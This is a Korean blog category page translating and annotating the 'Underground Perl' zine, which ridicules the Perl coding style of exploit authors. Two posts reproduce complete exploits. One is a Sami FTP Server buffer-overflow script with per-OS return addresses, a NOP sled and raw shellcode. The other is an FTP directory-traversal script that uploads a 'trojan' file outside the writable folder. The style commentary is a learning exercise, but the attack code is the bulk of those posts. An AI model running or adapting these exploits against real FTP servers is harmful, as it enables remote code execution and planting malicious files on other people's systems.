'Perl/Underground Perl 번역'에 해당되는 글 4건

  1. 2008.10.06 Underground Perl #1 - 4
  2. 2008.10.06 Underground Perl #1 - 3
  3. 2008.10.05 Underground Perl #1 - 2
  4. 2008.10.05 Underground Perl #1 - 1

Naver Perl Community & Study Cafe


2008.10.06 18:06

Underground Perl #1 - 4

-[0x03] # Critical Security Critically Sucks -----------------
# 이번에는... Critical Security 를 한번 까본다.
# Author :  Critical Security
# http://www.critical.lt/
# 저자 : http://www.milw0rm.com/author/547
# 원문 : http://www.milw0rm.com/exploits/1448
# 이탈리아 보안 팀이며 이 문서는 sami ftp 서버의 취약점을
# 분석하여 exploit을 작성하였다.

# SamiFTPServer 취약점인 2.0.1 버전대의 프로그램을 구하여 일단 실험


# 설치성공 후 실행 화면


# ftp 프로그램으로 접속을 해봤더니 잘 되는것을 확인 할 수 있다.



# user id를 입력을 할때 오버플로우가 일어나는데 이것을 이용하여 
# exploit 코드를 작성하였다.



use Net::FTP;                 
use Switch; 
# Switch sucks
#스위치를 쓰는것에 대해서 sucks;
if (@ARGV < 3) { print "--------------------------------------------------------------------\n"; print "Usage : exploit.pl -hVictimsIPAddress -yYourIPAddress -oOffsetNumber\n"; print " Offsets: \n"; print " 1 - 0x76B43AE0 Windows XP SP2 winmm.dll call esp\n"; print " 2 - 0x76B5D17B Windows XP SP1 winmm.dll call esp\n"; print " 3 - 0x71AB7BFB Windows XP SP0 ws2_32.dll jmp esp\n"; print " 4 - 0x9C2295DF FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp esp\n"; print " If values not specified, default values will be used.\n"; print " Example : ./eploit.pl -h127.0.0.1 -y127.0.0.1 -o1\n"; print "--------------------------------------------------------------------\n"; } $host = "127.0.0.1"; $yourip = "127.0.0.1" ; # how about: my ($host, $yourip) = '127.0.0.1';
# 같은 값을 선언을 할때는 list로 묶어준다.
 
$offset = "\xE0\x3A\xB4\x76"; 

foreach (@ARGV) { 
$host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/);
$yourip = $1 if ($_=~/-y((.*)\.(.*)\.(.*)\.(.*))/);
$offset = $1 if ($_=~/-o(.*)/);
}
# Do I need to get into how much you suck at regex? 
# Way to overuse parens and .* and $_
# my ($host) = $_ =~ /(-h\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
# might as name that loop val since you'll use it

# 정규식을 제대로 쓰지 않았다.
# 일단 IP는 숫자임으로 임의의 문자인 . 이 아니라 숫자인 \d 그리고 
# {1,3}까지의 반복이 정확한 표현이다.
switch ($offset) {
case 1 { $offset = "\xE0\x3A\xB4\x76" } # Windows XP SP2 winmm.dll call esp
case 2 { $offset = "\x7B\xD1\xB5\x76" } # Windows XP SP1 winmm.dll call esp
case 3 { $offset = "\xFB\x7B\xAB\x71" } # Windows XP SP0 ws2_32.dll jmp esp
case 4 { $offset = "\xDF\x95\x22\x9C" } # FreeBSD 6.0-RELEASE Wine 0.9.6  kernel32.dll jmp esp
}

# 코드를 간단히 설명하자면 운영체제마다 offset을 따로 설정하여
# xp sp0~2 그리고 FreeBSD 까지 exploit이 되도록 설정하였다.
# FTP 서버에 올라오는 모듈 중 winmm.dll 의 call esp 코드 사용


# Trempolin Technique

# 쉘코드의 정확한 위치를 알지 못하기 때문에

# 메모리 주소가 항상 일정한 dll코드를 사용한다.

foreach $letter (split '', $yourip) { $c++;}; # never heard of length()

# length함수를 쓰면 간단히 해결 가능
# $c = length($yourip);

$ftp = Net::FTP->new($host, Debug => 0)  or die "Cannot connect: $@";
$user = "A" x 213 . # You could give kokanin some lessons
"A" x (15 - $c)   . 
$offset .           
# ret adresas a kokio dll'o call esp  ar jmp esp, ar ka nors panaðaus svarbu, 
kad nuðoktume a esp ;)
"\x90" x 25 .       # nop'ø sled'as, kad sulygintume su esp esaneiu adresu

# ðelkodas paleidþiantis notepad?  
(ðelkodas skirtas tiem kas sake, jog critical megsta DoS :*) - noresit, asidesit normalø..
"\xCD\x03".
"\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C".
"\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C".
"\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B".
"\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34".
"\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74".
"\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28".
"\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B".
"\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24".
"\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A".
"\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8".
"\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B".
"\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74".
"\x65\x70\x61\x64\x2E\x65\x78\x65\x01";
$ftp->login("$user","biatch"); 
# bah, just when I thought you knew not to quote vars
# 모두들 쿼터를 너무 좋아하는듯..

# 일단 오버플로우 되는것은 확인하였으나 exploit 코드가 실행되지는 않았다.
# 뭔가 문제가 있는듯.. 전체적인 코드는 일단 확인했으니
# 시간날 때 직접 exploit코드를 작성해보도록 하자.
신고
Trackback 0 Comment 0
2008.10.06 13:32

Underground Perl #1 - 3

-[0x02] # frustration ----------------------------------------------------


It's all these morons who can't code Perl worth wiping their ass that think they can criticize it. They fail to have any intelligent understanding of the language. 

They try to code in Perl like they would code in C, and bitch when they hit differences or limitations. 

They don't learn the aspects of the language that aren't parallel with C.

They keeptheir heads so far up their asses that they never learn the language, 
yet continue to write their cheap hacks in it while always supporting that C 
(or their language of choice) is better. 


Do they understand how stupid they sound when you make judgements on Perl with such a childish vantage point on it? 


Maybe they can read this and learn something. 
Or will they be arrogant enough to just dismiss it? 


장에서는 그리 내용은 없다 .

 

정리하자면..

 

perl 대해서 제대로 알고 쓰지도 못하면서 불평이나 불만을 가지지 마라.

그리고 언어를 제대로 배우지도 않으면서 허접한 해킹을 하지 말라.

그리고 perl 자신만의 시각으로 정의하지 마라

신고
Trackback 0 Comment 0
2008.10.05 17:48

Underground Perl #1 - 2

-[0x01] # kokanin sucks --------------------------------------------------

# kokanin man I expected more from you
# gobbles gobbles =P

# kakanin 난 당신을 기대하고 있다.
# 한번 살펴 볼까~~ 
# kokanin님은 exploit코드를 작성하는 사람중의 한명이다.
# perl에 맞지않는 코드에 대해서 kokanin님을 까보겠다는 뜻인듯...

if(!$ARGV[0]){ 
die "Usage: ./thisscript.pl <ip> [user] [pass] [port] [path] 
[trojan.exe] [/path/to/target.exe] \n"
;}# heh
# 간단히 비웃어 주는 센스;;

use Net::FTP;
my $target = $ARGV[0]; 
# you won't be the last to be horribly ignorant of shift

# 그렇다.. 여기서 perl을 많이 써봤느냐 아니냐를 알 수 있게 된다.
# 일단 위의 방식의 코드를 써도 상관이 없으나
# perl을 제대로 공부했다면 shift를 사용하여 코드를 작성할 것이다.

my $dotdot = "../../../../../../../../../../../../../../";
 
# we got this thing called x, eh? my $dotdot = '../' x 14;
# 우리가 이 상황이었으면 이렇게 썼겠지?
# my $dotdot = '../' x 14;
# perl에서는 x 연산자를 사용하여 
# 보다 편하게 문자를 원하는 만큼 출력이 가능하다.
if($ARGV[1]){ $user = $ARGV[1] } else { $user = "IEUser";}
if($ARGV[2]){ $pass = $ARGV[2] } else { $pass = "mail\@mail.com";}
if($ARGV[3]){ $port = $ARGV[3] } else { $port = "22003";}
if($ARGV[4]){ $writablepath = $ARGV[4] } 
else { $writablepath = "/guests";}
if($ARGV[5]){ $trojan = $ARGV[5] } 
else { $trojan = "/etc/hosts";}
if($ARGV[6]){ $destination = $ARGV[6] } else { $destination = "owned.txt";}
# Dude, learn how to handle arguments. see the 'shift' function? 
takes a value off an array. smooth huh? 
# 어이!! 인자를 처리하는 방법을 배워야지 이 shift 함수가 보이냐?
# 배열으로부터 값을 가지고 오는거지 부드럽지 않냐 응???
my $target = shift || '127.0.0.1';
my $user   = shift || 'IEUser';
my $pass   = shift || 'mail@mail.com';
my $port   = shift || '22003';
my $path   = shift || '/guests';
my $trojan = shift || '/etc/hosts';
my $dest   = shift || 'owned.txt';
# 좀 기분이 나쁘긴 하겠지만 제대로 깠다..
# 이정도 까였으면 다음부터는 저렇게 쓰겠지... 허허
# path가 아니라 writablepath인데... 나도 한번 까볼까...

print " target: $target \n 
user: $user \n 
pass: $pass \n 
port: $port \n 
writable path: $writablepath \n 
trojan: $trojan \n 
targetfile: $destination \n";

use Net::FTP; 
# love how you include this twice. 
# 같은 코드를 두번이나 썼군...
$ftp = Net::FTP->new("$target", #way to excess quote                      
                       # 쿼터를 쓰는 방법이 잘못됐다.
                      Debug => 0,
                      Port => "$port")#oh look its those quotes again
                       # 여전히 쿼터를 쓴다.. 참고로 안써도 된다.
                       # Port=> $port 
or die "Cannot connect: $@";
$ftp->login("$user","$pass") # quotes quotes!
# 쿼터 쿼터! ㅎㅎ 계속 까는 중
or die "Cannot login ", $ftp->message;
$ftp->cwd("$writablepath") # quotes!
# 쿼터! 언제까지 깔껀지;;
or die "Cannot go to writable dir ", $ftp->message;
my @systemroots = ("PUNIX","WINXP","WINNT","WIN2000",
"WIN2K","WINDOWS","WINDOZE"); 
# ever heard of qw(), buddy?
# 이봐.. qw() 들어본 적 없는가??
# qw()을 이용하면 보다 편하게 문자열을 처리할 수 있다.
# perl 문서에 보면 나온다...
# my @systemroots = qw(PUNIX WINXP WINNT WIN2000 WIN2K WINDOWS WINDOZE);
# 이렇게 초기값 설정이 가능.
for(@systemroots){
  $reply = $ftp->quot("SIZE " . $dotdot . $_ . "/system32/at.exe");
  if($reply == 2) { 
       print " %SYSTEMROOT% is /$_\n";
       my $systemroot=$_; 
  } # way to actually use that $systemroot var sometime
}

# 내 생각에는 for문을 사용하는 것보다 foreach문을 사용하여 쓰는것이
# 더욱 perl Authors 다운 코드가 아닐까..

$ftp->binary;
$ftp->put("$trojan","$dotdot"."$destination")
# you really love quotes, don't you?
# 계속적으로 쿼터를 쓰는 것에대해서 반박하고 있다.
# 여기서 put이 어떤 역활을 하는지 Cpan을 잠시 훓어보자
# http://search.cpan.org/~gbarr/libnet-1.22/Net/FTP.pm
# put ( LOCAL_FILE [, REMOTE_FILE ] )
# Put a file on the remote server
# 로컬에 있는 파일을 원격 서버에 업로드 시키는 프로그램

and print "file successfully uploaded, 
donate money to kokanin\@gmail.com\n" or 
# 하하.. 돈을 기부하라니.. 어이없다.
die "Something messed up, file upload failed ", 
$ftp->message;
$ftp->quit;

# <ilja>  idiot == kokanin ?
# <idiot> kokanin = idiot
# you said it
# For a guy with a reputation, 
# a knack for finding vulns, and years under your belt, 
# you really suck.

== 정리 ==

취약점이 있는 FTP 서버에
악성코드를 업로드 시키는 코드이다.

마지막에 바보라고 딱잘라서 말하는 저자가
속시원하게 보이는 이유는 무엇일까?



신고
Trackback 0 Comment 0
2008.10.05 17:04

Underground Perl #1 - 1

Underground Perl에 대해서 분석을 해볼 계획이다.

리눅스의 명령어를 이용하여 작성했던 날짜와 

문서의 목록들을 센스있게 출력하고 있다.

원문의 전체링크 : http://www.milw0rm.com/author/893 

Underground Perl의 1판



[root@yourbox.anywhere]$ date
Tue Jan 31 01:34:43 EST 2006


[root@yourbox.anywhere]$ cat ./fucksticks.pl

use strict;

$ARGV[0]  = q |~ TOC                                ~|;
$ARGV[1]  = q |~ kokanin sucks                      ~|;
$ARGV[2]  = q |~ frustration                        ~|;
$ARGV[3]  = q |~ Critical Security critically sucks ~|; 
$ARGV[4]  = q |~ School You: MJD                    ~|;
$ARGV[5]  = q |~ kaneda doesn't get away            ~|;
$ARGV[6]  = q |~ ph33rs                             ~|;
$ARGV[7]  = q |~ Fyodor gets caught                 ~|;
$ARGV[8]  = q |~ School You: BrowserUK              ~|;
$ARGV[9]  = q |~ He wants mercy                     ~|;
$ARGV[10] = q |~ School You: japhy                  ~|;                
$ARGV[11] = q |~ DSR *clap clap*                    ~|;
$ARGV[12] = q |~ School You: tachyon                ~|;                 
$ARGV[13] = q |~ Reads like Roadkill                ~|;                 
$ARGV[14] = q |~ School You: merlyn                 ~|;               
$ARGV[15] = q |~ r0t0r can't get a break            ~|;
$ARGV[16] = q |~ Ch4r's contribution to Perl        ~|;
$ARGV[17] = q |~ School You: Juerd                  ~|;
$ARGV[18] = q |~ byterage dropped the ball          ~|;
$ARGV[19] = q |~ School You: tilly                  ~|;
$ARGV[20] = q |~ ilya loses his reputation          ~|;
$ARGV[21] = q |~ Shoutz and Outz                    ~|;

[root@yourbox.anywhere]$ perl bring_it.pl
신고
Trackback 0 Comment 0